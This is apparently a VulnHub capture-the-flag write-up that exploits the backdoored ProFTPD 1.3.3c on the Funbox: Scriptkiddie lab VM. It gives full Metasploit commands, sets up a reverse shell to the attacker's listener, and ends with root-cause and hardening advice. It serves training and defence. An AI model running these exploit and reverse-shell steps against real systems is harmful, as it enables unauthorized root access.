

# Funbox: Scriptkiddie – VulnHub

## Full Exploitation Proof of Concept (PoC)

---

### 1. Overview

| Item             | Details                                                                          |
|------------------|----------------------------------------------------------------------------------|
| Target Name      | Funbox: Scriptkiddie (VulnHub) ( <a href="https://vulnhub.com">vulnhub.com</a> ) |
| Author           | 0815R2d2 ( <a href="https://vulnhub.com">vulnhub.com</a> )                       |
| Attacker Machine | Kali Linux                                                                       |
| Main Vector      | ProFTPD 1.3.3c backdoor RCE (Metasploit)                                         |
| Goal             | Gain remote access and read <code>root.txt</code>                                |

This VM is intentionally vulnerable and part of the **Funbox** series. The main attack path is through a backdoored **ProFTPD 1.3.3c** service, which can be exploited to gain a root shell directly. ([Rapid7](#))

---

### 2. Network Discovery – Finding the Target

First, I identified the Funbox Scriptkiddie machine on the local network using `arp-scan`:

```
sudo arp-scan -l
```

Output (relevant part):

```
192.168.1.106  08:00:27:f1:5c:14  (Unknown)
```

- Target IP: **192.168.1.106**

```
(kali@kali)-[~]
$ sudo arp-scan -l
[sudo] password for kali:
Interface: eth0, type: EN10MB, MAC: 00:0c:29:50:6f:d8, IPv4: 192.168.1.107
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1      60:83:e7:6e:16:78      (Unknown)
192.168.1.105   50:c2:e8:95:0b:37      (Unknown)
192.168.1.106   08:00:27:f1:5c:14      (Unknown)
192.168.1.103   f6:51:b0:f5:8b:ad      (Unknown: locally administered)
192.168.1.101   42:d5:fa:0c:a1:9b      (Unknown: locally administered)
192.168.1.102   3e:14:a2:c8:36:88      (Unknown: locally administered)

6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.853 seconds (138.15 hosts/sec). 6 responded
```

### 3. Service Enumeration – Nmap Scan

Next, I ran an Nmap scan with default scripts, service detection, and OS detection:

```
sudo nmap -A -sV -sC 192.168.1.106 --min-rate 10000
```

Key results:

| PORT                              | STATE | SERVICE     | VERSION                          |
|-----------------------------------|-------|-------------|----------------------------------|
| 21/tcp                            | open  | ftp         | ProFTPD 1.3.3c                   |
| 22/tcp                            | open  | ssh         | OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 |
| 25/tcp                            | open  | smtp        | Postfix smtpd                    |
| 80/tcp                            | open  | http        | Apache httpd 2.4.18 ((Ubuntu))   |
| _http-title: Funbox: Scriptkiddie |       |             |                                  |
| _http-generator: WordPress 5.7.2  |       |             |                                  |
| 110/tcp                           | open  | pop3        | Dovecot pop3d                    |
| 139/tcp                           | open  | netbios-ssn | Samba smbd 3.X - 4.X             |
| 143/tcp                           | open  | imap        | Dovecot imapd                    |
| 445/tcp                           | open  | netbios-ssn | Samba smbd 4.3.11-Ubuntu         |

Observations:

- The web service (port 80) is running **WordPress 5.7.2**, but exploiting HTTP is optional.
- FTP service is **ProFTPD 1.3.3c**, which is known to have a **backdoored source distribution** that allows unauthenticated remote code execution. ([Rapid7](#))

Given the presence of ProFTPD 1.3.3c, I targeted FTP first.

```
(kali@kali)-[~]
└─$ sudo nmap -A -sV -sC 192.168.1.100 --min-rate 10000
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-09 11:55 IST
Nmap scan report for 192.168.1.100
Host is up (0.0012s latency).
Not shown: 992 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            ProFTPD 1.3.3c
22/tcp    open  ssh            OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a6:0e:30:35:3b:ef:43:44:f5:1c:d7:c6:58:64:09:92 (RSA)
|   256 c2:d8:bd:62:bf:13:89:28:f8:61:e0:a6:c4:f7:a5:bf (ECDSA)
|   256 12:60:6e:58:ee:f2:bd:9c:ff:b0:35:05:83:08:71:b8 (ED25519)
25/tcp    open  smtp           Postfix smtpd
|_ ssl-cert: Subject: commonName=funbox11
|_ Not valid before: 2021-07-19T16:52:14
|_ Not valid after: 2031-07-17T16:52:14
|_ smtp_commands: funbox11, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ ssl-date: TLS randomness does not represent time
80/tcp    open  http           Apache httpd 2.4.18 ((Ubuntu))
|_ http-title: Funbox: Scriptkiddie
|_ http-generator: WordPress 5.7.2
|_ http-server-header: Apache/2.4.18 (Ubuntu)
110/tcp   open  pop3           Dovecot pop3d
|_ pop3-capabilities: UIDL CAPA TOP AUTH-RESP-CODE SASL PIPELINING RESP-CODES
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp   open  imap           Dovecot imapd
|_ imap-capabilities: OK IDLE ENABLE post-login IMAP4rev1 Pre-login SASL-IR more LITERAL+ LOGIN-REFERRALS LOGINDISABLEDA0001 capabilities have ID listed
445/tcp   open  netbios-ssn    Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
MAC Address: 08:00:27:F1:5C:14 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 1 hop
Service Info: Hosts: funbox11, FUNBOX11; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

## 4. Vulnerability Research – ProFTPD 1.3.3c Backdoor

I checked for public exploits using [searchsploit](#) :

```
searchsploit ProFTPD 1.3.3c
```

Results:

```
ProFTPD 1.3.3c - Compromised Source Backdoor Remote Code Execution
ProFTPD-1.3.3c - Backdoor Command Execution (Metasploit)
```

The second entry maps directly to a Metasploit module:

- [exploit/unix/ftp/proftpd\\_133c\\_backdoor](#) ([exploit-db.com](#))

This exploit abuses a hidden backdoor command in backdoored ProFTPD 1.3.3c builds, allowing arbitrary commands as **root**.

```
(kali@kali)-[~]
└─$ searchsploit ProFTPD 1.3.3c
```

| Exploit Title                                                      | Path                   |
|--------------------------------------------------------------------|------------------------|
| ProFTPD 1.3.3c - Compromised Source Backdoor Remote Code Execution | linux/remote/15662.txt |
| ProFTPD-1.3.3c - Backdoor Command Execution (Metasploit)           | linux/remote/16921.rb  |

```
Shellcodes: No Results
```

## 5. Exploitation with Metasploit – Getting a Root Shell

## 5.1. Loading the Metasploit Module

Start Metasploit:

```
msfconsole -q
```

Search and select the module:

```
msf > search ProFTPD 1.3.3c

msf > use exploit/unix/ftp/proftpd_133c_backdoor
msf exploit(unix/ftp/proftpd_133c_backdoor) > show options
```

Module options:

```
RHOSTS  yes  The target host(s)
RPORT   21   The target port (TCP)
```

Set target IP:

```
set rhosts 192.168.1.106
```

## 5.2. Choosing the Payload

Show compatible payloads:

```
show payloads
```

Choose a simple reverse shell:

```
set payload cmd/unix/reverse
show options
```

Set listener IP and port:

```
set lhost 192.168.1.107
set lport 4444
```

```
(kali@kali)~[~]
$ msfconsole -q
msf > search ProFTPD 1.3.3c

Matching Modules
-----
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/unix/ftp/proftpd_133c_backdoor  2010-12-02      excellent No      ProFTPD-1.3.3c Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/proftpd_133c_backdoor

msf > use 0
msf exploit(unix/ftp/proftpd_133c_backdoor) > show options

Module options (exploit/unix/ftp/proftpd_133c_backdoor):

  Name      Current Setting  Required  Description
  --      -
CHOST              no          The local client address
CPORT              no          The local client port
Proxies            no          A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, http, socks5, socks5h
RHOSTS             yes         The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT             21          The target port (TCP)

Exploit target:

  Id  Name
  --  --
0     Automatic

View the full module info with the info, or info -d command.
msf exploit(unix/ftp/proftpd_133c_backdoor) > set rhosts 192.168.1.106
rhosts => 192.168.1.106
```

```
msf exploit(unix/ftp/proftpd_133c_backdoor) > show payloads

Compatible Payloads
-----
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  payload/cmd/unix/adduser                 .              normal No      Add user with useradd
1  payload/cmd/unix/bind_perl               .              normal No      Unix Command Shell, Bind TCP (via Perl)
2  payload/cmd/unix/bind_perl_ipv6          .              normal No      Unix Command Shell, Bind TCP (via perl) IPv6
3  payload/cmd/unix/generic                  .              normal No      Unix Command, Generic Command Execution
4  payload/cmd/unix/reverse                  .              normal No      Unix Command Shell, Double Reverse TCP (telnet)
5  payload/cmd/unix/reverse_bash_telnet_ssl .              normal No      Unix Command Shell, Reverse TCP SSL (telnet)
6  payload/cmd/unix/reverse_perl            .              normal No      Unix Command Shell, Reverse TCP (via Perl)
7  payload/cmd/unix/reverse_perl_ssl        .              normal No      Unix Command Shell, Reverse TCP SSL (via perl)
8  payload/cmd/unix/reverse_ssl_double_telnet .              normal No      Unix Command Shell, Double Reverse TCP SSL (telnet)
```

```
msf exploit(unix/ftp/proftpd_133c_backdoor) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf exploit(unix/ftp/proftpd_133c_backdoor) > show options

Module options (exploit/unix/ftp/proftpd_133c_backdoor):

  Name      Current Setting  Required  Description
  --      -
CHOST              no          The local client address
CPORT              no          The local client port
Proxies            no          A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, http, socks5, socks5h
RHOSTS            192.168.1.106  yes         The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT             21          The target port (TCP)

Payload options (cmd/unix/reverse):

  Name      Current Setting  Required  Description
  --      -
LHOST              yes         The listen address (an interface may be specified)
LPORT          4444          yes         The listen port

Exploit target:

  Id  Name
  --  --
0     Automatic

View the full module info with the info, or info -d command.
msf exploit(unix/ftp/proftpd_133c_backdoor) > set lhost 192.168.1.107
lhost => 192.168.1.107
```

## 5.3. Running the Exploit

Execute the exploit:

```
exploit
```

Output:

```
[*] Started reverse TCP double handler on 192.168.1.107:4444
[*] 192.168.1.106:21 - Sending Backdoor Command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo bNImJ8sD5yzMXIhB;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "bNImJ8sD5yzMXIhB\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.107:4444 → 192.168.1.106:42774)
```

Interact with the session:

```
sessions -i 1
```

Check privileges:

```
whoami
root
```

- The exploit immediately provides a **root shell**, because the backdoor executes commands with root privileges.

```
msf exploit(unix/ftp/proftpd_133c_backdoor) > exploit
[*] Started reverse TCP double handler on 192.168.1.107:4444
[*] 192.168.1.106:21 - Sending Backdoor Command
[*] Accepted the first client connection...
[*] Accepted the second client connection ...
[*] Command: echo bNImJ8sD5yzMXIhB;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "bNImJ8sD5yzMXIhB\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.107:4444 → 192.168.1.106:42774) at 2025-12-09 12:03:10 +0530

whoami
root
```

## 6. Post-Exploitation – Reading the Flag

From the root shell:

```
cd /root
ls
root.txt
cat root.txt
```

Flag content:

```
$$$$$$$$\      $$\
$$ ____|      $$ |
$$ |  $$\  $$\ $$$$$$$\ $$$$$$$\ $$$$$$$\ $$\  $$\ $$$\
$$$$$$\ $$ |  $$ |$$ _$$\ $$ _$$\ $$ _$$\ \$$\ $$ $ |__|
$$ _|$$ |  $$ |$$ |  $$ |$$ |  $$ |  $$ |  \$$$$ /
$$ |  $$ |  $$ |$$ |  $$ |$$ |  $$ |  $$ |  $$ $<  $$\
$$ |  \$$$$$ |$$ |  $$ |$$$$$$$ |$$$$$$$ |$$ \$$\ __|
\_|  \___/\_|  \_| \___/\___/\___/\_|  \_|

...

Please, tweet this to: @0815R2d2
Thank you...
```

This confirms full compromise of the machine.





- Set `RHOSTS=192.168.1.106` , `LHOST=192.168.1.107` , `LPORT=4444` .
- Executed the exploit and obtained a **root command shell** directly.

## 5. Post-Exploitation

- Verified privileges using `whoami` → `root` .
- Navigated to `/root` and read `root.txt` .

There was no need for additional privilege escalation: the ProFTPD backdoor itself already runs commands as root.

# 8. Root Cause and Defensive Recommendations

## Root Cause

- The system is running a **backdoored build of ProFTPD 1.3.3c**.

The official source tarball of this version was compromised for a short period, and a hidden command was added that allows arbitrary commands as root when triggered correctly. ([NVD](#))

## Recommendations

| Issue                                   | Recommendation                                                     |
|-----------------------------------------|--------------------------------------------------------------------|
| Backdoored ProFTPD 1.3.3c in production | Remove or upgrade ProFTPD to a non-backdoored, patched version.    |
| Unnecessary exposure of FTP             | Disable FTP if not strictly required; prefer SFTP over SSH.        |
| Lack of service hardening               | Limit access to administrative services to trusted IP ranges.      |
| Limited monitoring                      | Monitor for anomalous FTP commands and unexpected outgoing shells. |